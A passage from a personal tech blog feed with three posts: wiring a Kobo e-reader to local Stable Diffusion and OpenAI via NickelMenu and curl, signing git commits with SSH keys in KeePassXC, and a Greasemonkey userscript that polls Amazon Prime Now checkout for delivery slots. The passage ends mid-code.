<p>I’ve also added an <abbr title="Explain Like I'm Five">ELI5</abbr> feature that simplifies the highlighted text using OpenAI’s GPT-3.5. Here is a quick demo:</p>
<div class="video" style="">
<iframe src="https://www.youtube.com/embed/RNr6xvJJYxA" frameborder="0" allowfullscreen=""></iframe>
</div>
<h2 id="motivation" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#motivation">Motivation</a></h2>
<p>As I have <a href="https://en.wikipedia.org/wiki/Aphantasia">aphantasia</a>, I am unable to visualize images in my mind. Scenes with excessive descriptions can be hard to follow, and maritime scenes with unfamiliar terminology are particularly difficult. That doesn’t mean I don’t enjoy reading, it’s just that I don’t read with the ongoing imagery that others might. Having an occasional illustration in a book is appreciated, but outside of the occasional light novel, I don’t find illustrations to be very common in fiction books.</p>
<p>I had been experimenting with Stable Diffusion, a generative AI model that can generate images from text prompts. I thought it would be interesting to see if I could integrate this into my Kobo e-reader to generate images from text passages that I highlight. I don’t need an accurate rendering or consistency across image generations, just a rough idea of what the scene might look like, to nudge me along.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/001.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/001.png" alt="Text about a dining room, being highlighted on Kobo" title="" loading="lazy" data-caption="Choose the visualize menu" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/002.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/002.png" alt="Generated image of the dining room" title="" loading="lazy" data-caption="The dining room" style="width: calc(33% - 0.5em);" /></span>
<p><span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/003.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/003.png" alt="Text about a summerhouse, being highlighted on Kobo" title="" loading="lazy" data-caption="Another example, using visualize menu" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/004.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/004.png" alt="Generated image of a summerhouse" title="" loading="lazy" data-caption="The summerhouse" style="width: calc(33% - 0.5em);" /></span></p>
<figcaption>The visualize menu and its output on my Kobo Libra 2</figcaption></figure>
<p>While I was doing this, the maritime terminology I kept encountering became a motivation to add the “ELI5” feature. I’ve noticed that when books get into their naval battles, the terminology starts flying thick and fast, and I can’t keep up with the repeated dictionary lookups. Having those passages rephrased in simpler terms would be a great help.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/005.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/005.png" alt="Text about a bosun's pipes, being highlighted on Kobo" title="" loading="lazy" data-caption="Choose the ELI5 menu" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/006.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/006.png" alt="Dialog with explanation" title="" loading="lazy" data-caption="The ELI5" style="width: calc(50% - 0.5em);" /></span>
<figcaption>ELI5 feature in action</figcaption></figure>
<p>I’ll first go over the Stable Diffusion integration for image generation, the ELI5 feature is just a minor addition after that.</p>
<h2 id="how-the-image-generation-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#how-the-image-generation-works">How the image generation works</a></h2>
<p>At a high level, when the text is highlighted on the Kobo, a custom Visualize menu item is presented. Pressing that fires off a curl command from the Kobo to the Stable Diffusion API running on my PC. Stable Diffusion does its work and returns an image. The image is then saved to the Kobo’s storage and displayed in an HTML file in a popup browser window.</p>
<p>The reason it works is because descriptive passages of text are often quite close to the prompts that you’d use for Stable Diffusion, as they’re full of adjectives and scene descriptions. What’s different is that books don’t contain the <em>metadata</em> of the scene, such as “a digital painting”, the artist’s style, “wide angle view”, and so on. The output can be a bit hit and miss, but having a small bit of metadata hardcoded when making the request can help.</p>
<h3 id="stable-diffusion-api" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#stable-diffusion-api">Stable Diffusion API</a></h3>
<p>I’ve first set up Stable Diffusion WebUI to launch with the API enabled.</p>
<pre class="language-bash"><code class="language-bash"> ./webui.sh <span class="token parameter variable">--api</span> <span class="token parameter variable">--listen</span></code></pre>
<p>This allows making requests to the API endpoint at <code>http://127.0.0.1:7860/sdapi/v1/txt2img</code>, pretty much the same as you would with the web UI.</p>
<p>The request to generate an image isn’t too complicated. In this example request, I’ve chosen 512x682 as it’s close to my device’s screen aspect ratio.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token parameter variable">-X</span> POST <span class="token parameter variable">-H</span> <span class="token string">"Content-Type: application/json"</span> <span class="token parameter variable">--data</span> <span class="token string">'{"prompt": "masterpiece, a cat", "negative_prompt": "disfigured, ugly, blurry, watermark", "seed": -1, "steps": 20, "width": 512, "height": 682, "cfg_scale": 7, "sampler_name": "DPM++ 2M Karras", "n_iter": 1, "batch_size": 1}'</span> http://127.0.0.1:7860/sdapi/v1/txt2img</code></pre>
<p>I believe this only uses the Stable Diffusion checkpoint already loaded in the web UI. Also worth noting that the generated image is returned as a base64 encoded string in the response.</p>
<h3 id="kobo-html-file" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#kobo-html-file">Kobo HTML file</a></h3>
<p>I couldn’t get the Kobo browser to display <em>standalone</em> images (it would prompt to download them), so I had to prepare a basic HTML file that would display the generated image.</p>
<p>I placed this at <code>/mnt/onboard/sd.html</code> on the Kobo. It tries to display the image at full width. The image is pointing at a local path, which the image generation command will be writing to shortly.</p>
<pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>head</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">
<span class="token selector">html, body</span> <span class="token punctuation">{</span>
<span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span>
<span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>
<span class="token property">padding</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token selector">.container</span> <span class="token punctuation">{</span>
<span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span>
<span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span>
<span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span>
<span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>
<span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>
<span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token selector">.container img</span> <span class="token punctuation">{</span>
<span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span>
<span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span>
<span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>style</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>head</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>body</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file:///mnt/onboard/sd.png<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>body</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>html</span><span class="token punctuation">></span></span></code></pre>
<h3 id="kobo-custom-menu-and-curl" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#kobo-custom-menu-and-curl">Kobo custom menu and curl</a></h3>
<p>I’ve installed <a href="https://pgaskin.net/NickelMenu/">NickelMenu</a> on the Kobo device. NickelMenu allows creating custom menu items in the main home area, the reading view, and importantly in the text selection menu.</p>
<p>Although it’s a Linux based device, there is no curl installed. For that, I’ve installed <a href="https://www.mobileread.com/forums/showthread.php?t=254214">Niluje’s misc packages</a> which includes curl.</p>
<p>Once both of those are in place, it’s a matter of adding the custom menu item to the Kobo and the curl command that it will invoke.</p>
<p>In <code>/mnt/onboard/.adds/nm/config</code> :</p>
<pre><code>menu_item :selection :Visualize :cmd_output :9000:quiet:/usr/bin/curl -s -X POST -H "Content-Type: application/json" --data '{"prompt": "masterpiece, {1|aS|"$}", "negative_prompt": "disfigured, ugly, blurry, watermark", "seed": -1, "steps": 20, "width": 512, "height": 682, "cfg_scale": 7, "sampler_name": "DPM++ 2M Karras", "n_iter": 1, "batch_size": 1}' http://192.168.50.108:7860/sdapi/v1/txt2img | jq -r '.images[0]' | base64 -d > /mnt/onboard/sd.png
chain_success :nickel_browser :modal:file:///mnt/onboard/sd.html
</code></pre>
<p>There’s quite a bit going on here which is worth breaking down.</p>
<p>The <code>Visualize</code> menu item is added to the text <code>:selection</code> menu. When selected, it fires off the curl command to the Stable Diffusion API and the output is saved to <code>/mnt/onboard/sd.png</code>. Of special note here is the <code>{1|aS|"$}</code> which is a placeholder for the highlighted text in lowercase.</p>
<p>There’s a bit of additional processing, with <code>jq</code> to get the base64 encoded image from the response, and then <code>base64 -d</code> to decode that base64 and write it to the PNG file.</p>
<p>In NickelMenu, the <code>cmd_output</code> cannot be more than 10 seconds long, it’s 9 in the above example, so it’s vital to keep Stable Diffusion’s processing as quick as possible, sacrificing quality for speed.</p>
<p>Finally, once the first command completes, the <code>chain_success</code> displays the prepared HTML file in a modal browser popup.</p>
<h2 id="using-openai-for-simplifying-text" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#using-openai-for-simplifying-text">Using OpenAI for simplifying text</a></h2>
<p>Adding the ELI5 feature was a minor addition to the existing NickelMenu and packages setup, since the hard bits were taken care of.</p>
<p>All it needs is an OpenAI API key and a little prompt to send to the API, but ensuring that Wifi is connected first:</p>
<pre><code>menu_item :selection :ELI5 :nickel_wifi :enable
chain_success :nickel_wifi :autoconnect
chain_success :cmd_output :9999 :quiet :sleep 2 # to allow connection to be established
chain_success :cmd_output :9999 :/usr/bin/curl -s -X POST https://api.openai.com/v1/chat/completions -H "Content-Type: application/json" -H "Authorization: Bearer sk-xxxxxxxxxxxxxxxxxxxxxx" -d '{ "model": "gpt-3.5-turbo-0125", "messages":[{"role":"user","content": "Explain in simpler language the following passage from a book I am reading: \n {1|aS|"$} "}],"max_tokens": 80 }' | jq -r '.choices[0].message.content' | fold -w 50 -s
</code></pre>
<p>The <code>cmd_output</code> simply outputs whatever the curl command returns, which is the simplified text. The <code>fold</code> command is used to wrap the text at 50 characters, so it fits on the screen.</p>
<p>And once that’s ready, I just highlight some text and pick the ELI5 option. This will be especially useful for maritime scenes and naval battles.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/005.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/005.png" alt="Choose the ELI5 menu" loading="lazy" data-caption="Choose the ELI5 menu" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/kobo-text-to-images-with-stable-diffusion/006.png"><img src="https://code.mendhak.com/assets/images/kobo-text-to-images-with-stable-diffusion/006.png" alt="Output" loading="lazy" data-caption="Output" style="width: calc(50% - 0.5em);" /></span>
<figcaption>ELI5 feature in action</figcaption></figure>
<h2 id="limitations-and-other-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/#limitations-and-other-notes">Limitations and other notes</a></h2>
<p>The Kobo will turn off <strong>wifi</strong> to conserve energy, which usually happens while immersed in reading. What this means is the Visualize command while Wifi is off will launch the wifi scanner to connect before issuing the command; the whole process doesn’t always complete within the timeout, and a blank page is displayed. The act of opening the browser does turn on the wifi, so I just try again.</p>
<p>A very obvious, glaring limitation is that the computer hosting Stable Diffusion needs to be <strong>running</strong>. It wouldn’t be accessible while travelling or at work, but that’s OK for me.</p>
<p>Regarding the actual image <strong>display</strong>, I could go a bit more ‘cinematic’ and generate the images in landscape mode, and rotate them when displayed on the HTML page. That may be something I do in the future.</p>
<p>Regarding <strong>APIs</strong>, I had considered using OpenAI’s DALL-E for image generation — I’m already using GPT3.5 for the “ELI5” feature — but the pricing for their image generation is prohibitive. The cost can be up to $0.08 per image, which is not worth it. But if I find myself using this feature a lot, I might consider finding an online image generation API, if it’s cheap.</p>
<p>Overall I’m happy with the current setup, it’s a fun project that adds a bit of extra enjoyment to my reading.</p>
Use KeePassXC to sign your git commits2024-02-15T00:00:00Zhttps://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/<p>Git 2.34 introduced a new feature: the ability to sign commits <a href="https://github.blog/2021-11-15-highlights-from-git-2-34/#tidbits">using an SSH key</a> instead of just a PGP key. This means you can now manage your SSH key with KeePassXC for both git operations and commit signing.</p>
<p>It’s a convenient option, with everything being in one place; it’s certainly easier to manage than separate PGP keys. And it still offers the security benefits of a password manager — you can have a strong password on the key and won’t have to type it in each time you push or sign the commit.</p>
<div class="notice info">
This post assumes you’re already using KeePassXC to manage your SSH keys.<br />
To set up KeePassXC as an SSH agent in WSL2/Ubuntu, see <a href="https://code.mendhak.com/posts/2021-05-10-wsl2-keepassxc-ssh.md">this post</a>
</div>
<h2 id="get-the-latest-git" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#get-the-latest-git">Get the latest git</a></h2>
<p>It’s best to have the latest version installed. On Ubuntu, you can get the latest git by adding their repository.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> add-apt-repository ppa:git-core/ppa <span class="token parameter variable">-y</span>
<span class="token function">sudo</span> <span class="token function">apt</span> update
<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> <span class="token function">git</span>
<span class="token function">git</span> <span class="token parameter variable">--version</span></code></pre>
<h2 id="tell-git-to-use-ssh-for-signing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#tell-git-to-use-ssh-for-signing">Tell git to use SSH for signing</a></h2>
<p>First, tell git that we want to sign every commit.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> config <span class="token parameter variable">--global</span> commit.gpgsign <span class="token boolean">true</span></code></pre>
<p>Then tell git to use ssh for signing, instead of gpg which it would normally use.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> config <span class="token parameter variable">--global</span> gpg.format <span class="token function">ssh</span></code></pre>
<p>Finally tell git to grab the first key from the ssh agent.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> config <span class="token parameter variable">--global</span> <span class="token parameter variable">--unset</span> user.signingkey
<span class="token function">git</span> config <span class="token parameter variable">--global</span> gpg.ssh.defaultKeyCommand <span class="token string">"ssh-add -L"</span></code></pre>
<h3 id="if-you-have-multiple-keys" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#if-you-have-multiple-keys">If you have multiple keys</a></h3>
<p>The above will work well if the <em>first</em> key being served by KeePassXC is the one you want to use.</p>
<p>You can see for yourself by running:</p>
<pre class="language-bash"><code class="language-bash">ssh-add <span class="token parameter variable">-L</span></code></pre>
<p>If the key you want to use isn’t the first in that list, you’ll have to copy the public key, and pass it to git as shown here:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> config <span class="token parameter variable">--global</span> <span class="token parameter variable">--unset</span> gpg.ssh.defaultKeyCommand
<span class="token function">git</span> config <span class="token parameter variable">--global</span> user.signingkey <span class="token string">"key::ssh-ed25519 AAAAC3NzaC1xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"</span></code></pre>
<p>The format is the <code>key::</code> prefix, followed by the key format (ssh-ed25519), and then the key itself. I’ve noticed that it works whether or not you include the label at the end of the key.</p>
<h2 id="sign-a-commit" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#sign-a-commit">Sign a commit</a></h2>
<p>Now try signing a commit; since we’ve told git to always sign commits, just do:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> commit --allow-empty <span class="token parameter variable">--message</span><span class="token operator">=</span><span class="token string">"Testing SSH signing"</span></code></pre>
<p>If you see no errors, then it worked.</p>
<h2 id="tell-github-about-your-ssh-key-again" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#tell-github-about-your-ssh-key-again">Tell Github about your SSH key, again</a></h2>
<p>If you use SSH for your git pushes and fetches, you’ve already <a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account">told Github</a> about your SSH key. You’ll have to do this <strong>once more</strong>, but this time for signing.</p>
<p>Go to the <a href="https://github.com/settings/ssh/new">Add new SSH key page</a>, and select “Signing Key” from the “Key Type” dropdown. Then paste in your public key.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepassxc-sign-git-commit-with-ssh/004.png">
<img src="https://code.mendhak.com/assets/images/keepassxc-sign-git-commit-with-ssh/004.png" alt="Setting screen on Github adding an SSH key of type signing" title="" loading="lazy" /></span>
<figcaption>SSH key specifically for signing</figcaption>
</figure><p></p>
<h3 id="push-a-signed-commit" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#push-a-signed-commit">Push a signed commit</a></h3>
<p>Push your signed commit up to Github, and it should appear with the verified badge.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepassxc-sign-git-commit-with-ssh/003.png">
<img src="https://code.mendhak.com/assets/images/keepassxc-sign-git-commit-with-ssh/003.png" alt="Signed commit dialog on Github mentioning that it's verified" title="" loading="lazy" /></span>
<figcaption>Verified badge</figcaption>
</figure><p></p>
<h2 id="how-to-verify-a-signed-commit-locally" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#how-to-verify-a-signed-commit-locally">How to verify a signed commit locally</a></h2>
<p>This is optional, though it’s nice to be able to verify your own commits locally.</p>
<p>If you do a <code>git log --show-signature</code>, you should see “No signature” listed against your SSH signed commits. This is normal for now.</p>
<p>Add your email address followed by the public key to an allowed_signers file.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">"youremail@example.com <span class="token variable"><span class="token variable">$(</span>ssh-add <span class="token parameter variable">-L</span><span class="token variable">)</span></span>"</span> <span class="token operator">>></span> ~/.ssh/allowed_signers</code></pre>
<p>As before, if you have multiple keys, specify the one you want to use directly.</p>
<p>Tell git where to find that allowed_signers file.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> config <span class="token parameter variable">--global</span> gpg.ssh.allowedSignersFile ~/.ssh/allowed_signers</code></pre>
<p>And that’s it. If you now view the log, you should see “Good signature” listed against your SSH signed commits.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> log --show-signature</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepassxc-sign-git-commit-with-ssh/005.png">
<img src="https://code.mendhak.com/assets/images/keepassxc-sign-git-commit-with-ssh/005.png" alt="Output of git log --show-signature with various signed commits" title="" loading="lazy" /></span>
<figcaption>Good signatures</figcaption>
</figure><p></p>
<h2 id="notes-and-references" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#notes-and-references">Notes and references</a></h2>
<p>Although this post is about KeePassXC, it should also work the same with other SSH agents like <a href="https://code.mendhak.com/keepass-and-keeagent-setup/">KeeAgent</a>, or the built in ssh-agent by just adding the key using <code>ssh-add ~/.ssh/id_ed25519</code>.</p>
<h2 id="my-gitconfig" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepassxc-sign-git-commit-with-ssh/#my-gitconfig">My <code>~/.gitconfig</code></a></h2>
<p>For your reference, this is what my <code>~/.gitconfig</code> looks like after setting this up.</p>
<p>This is a version where the first key from KeePassXC is used, nice and simple.</p>
<pre><code>[user]
name = mendhak
email = mendhak@users.noreply.github.com
[commit]
gpgsign = true
[gpg]
format = ssh
[gpg "ssh"]
allowedSignersFile = /home/mendhak/.ssh/allowed_signers
defaultKeyCommand = ssh-add -L
</code></pre>
<p>This is a version where I’ve specified the key directly.</p>
<pre><code>[user]
name = mendhak
email = mendhak@users.noreply.github.com
signingkey = key::ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAkrfhulAPWQMzPXF08BYdUgDi6NMD9FzdpiR5IhUmMr
[commit]
gpgsign = true
[gpg]
format = ssh
[gpg "ssh"]
allowedSignersFile = /home/mendhak/.ssh/allowed_signers
</code></pre>
The userscript that kept me fed2024-01-28T00:00:00Zhttps://code.mendhak.com/the-userscript-that-kept-me-fed/<p>When the lockdown was announced in March 2020, there was a surge of traffic to online grocery sites. Although I had been an early adopter and frequent user of several online supermarkets, I found myself unable to access many of my usual shops due to the way they decided to handle the traffic.</p>
<p>Most sites decided that the best course of action was to emulate fainting goats and would fall over, and you had to wait until the early hours of the morning to be able to even browse the site. Sainsbury’s proactively restricted my account from being able to access, citing the need to manage traffic better, and promised that they’d email me as soon as I was allowed to use their services again. They still haven’t come back to this day, and I am not bitter about it <em>at all</em>.</p>
<p>Amazon Prime Now was one of the few places that was able to manage the surge of traffic well, and wasn’t blocking anyone from shopping. The catch was that you could only see available delivery slots at checkout. Annoyingly, the slots were usually unavailable, and seemed to be released throughout the day at irregular intervals.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/the-userscript-that-kept-me-fed/001.png">
<img src="https://code.mendhak.com/assets/images/the-userscript-that-kept-me-fed/001.png" alt="Amazon Prime Now checkout page with no delivery windows" title="" loading="lazy" /></span>
<figcaption>Dramatic reenactment of the Prime Now checkout page. I didn’t take any screenshots back then so I’ve recreated them just for illustration</figcaption>
</figure><p></p>
<p>I was constantly refreshing checkout, to see if any slots had become available. I was struggling to focus on work while keeping an eye on the page; I’d frequently miss out on released slots.</p>
<p>I needed automation to help me out, and I learned about <a href="https://addons.mozilla.org/en-GB/firefox/addon/greasemonkey/">Greasemonkey</a>, an extension that allowed users to run custom scripts on web pages.</p>
<h2 id="the-userscript" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/the-userscript-that-kept-me-fed/#the-userscript">The userscript</a></h2>
<p>The work turned out to be simple, with a few minor issues that I had to work around.</p>
<p>When no slots were available the text ‘No delivery windows’ was shown on the page, which disappeared if slots were available. The idea was to look for that text, and if it was absent, that represented success, that a slot was available.</p>
<p>I added a banner to the top of the page which would be visible when the script was running and notify me of the status.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">var</span> bigRedBanner <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
bigRedBanner<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'style'</span><span class="token punctuation">,</span> <span class="token string">'width:100%; background-color: white;text-align:center;padding-top: 15px; padding-bottom:20px; font-size:24px; font-weight: bolder; '</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">prepend</span><span class="token punctuation">(</span>bigRedBanner<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>Then of course, check for the text.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">var</span> slotUnavailable<span class="token operator">=</span><span class="token boolean">true</span><span class="token punctuation">;</span>
<span class="token keyword">try</span> <span class="token punctuation">{</span>
slotUnavailable<span class="token operator">=</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">No delivery windows</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'delivery-slot-form'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">catch</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">{</span>
slotUnavailable<span class="token operator">=</span><span class="token boolean">false</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p>Instead of reloading the page to check again right away, I decided to randomize how long the script would wait. I didn’t want to run afoul of any detection that might get triggered, and I didn’t want to place unnecessary load on their servers. I chose a random value between 60 and 160 seconds, so that my checks were as ‘organic’ as possible.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">var</span> refreshAfter <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">60</span><span class="token punctuation">;</span> </code></pre>
<p>If no slot was available, the banner would show the countdown until page reloaded.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">if</span><span class="token punctuation">(</span>slotUnavailable<span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>
i <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>
bigRedBanner<span class="token punctuation">.</span>innerText <span class="token operator">=</span> <span class="token string">'Nothing yet...😔 Reloading in ('</span> <span class="token operator">+</span> <span class="token punctuation">(</span>refreshAfter<span class="token operator">-</span>i<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">')'</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">==</span> refreshAfter<span class="token punctuation">)</span> <span class="token punctuation">{</span>
location<span class="token punctuation">.</span><span class="token function">reload</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/the-userscript-that-kept-me-fed/002.png">
<img src="https://code.mendhak.com/assets/images/the-userscript-that-kept-me-fed/002.png" alt="Prime Now Checkout, with the userscript performing a countdown" title="" loading="lazy" /></span>
<figcaption>Userscript counting down</figcaption>
</figure><p></p>
<p>And if a slot was available, of course, make the banner prominently tell me.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">else</span> <span class="token punctuation">{</span>
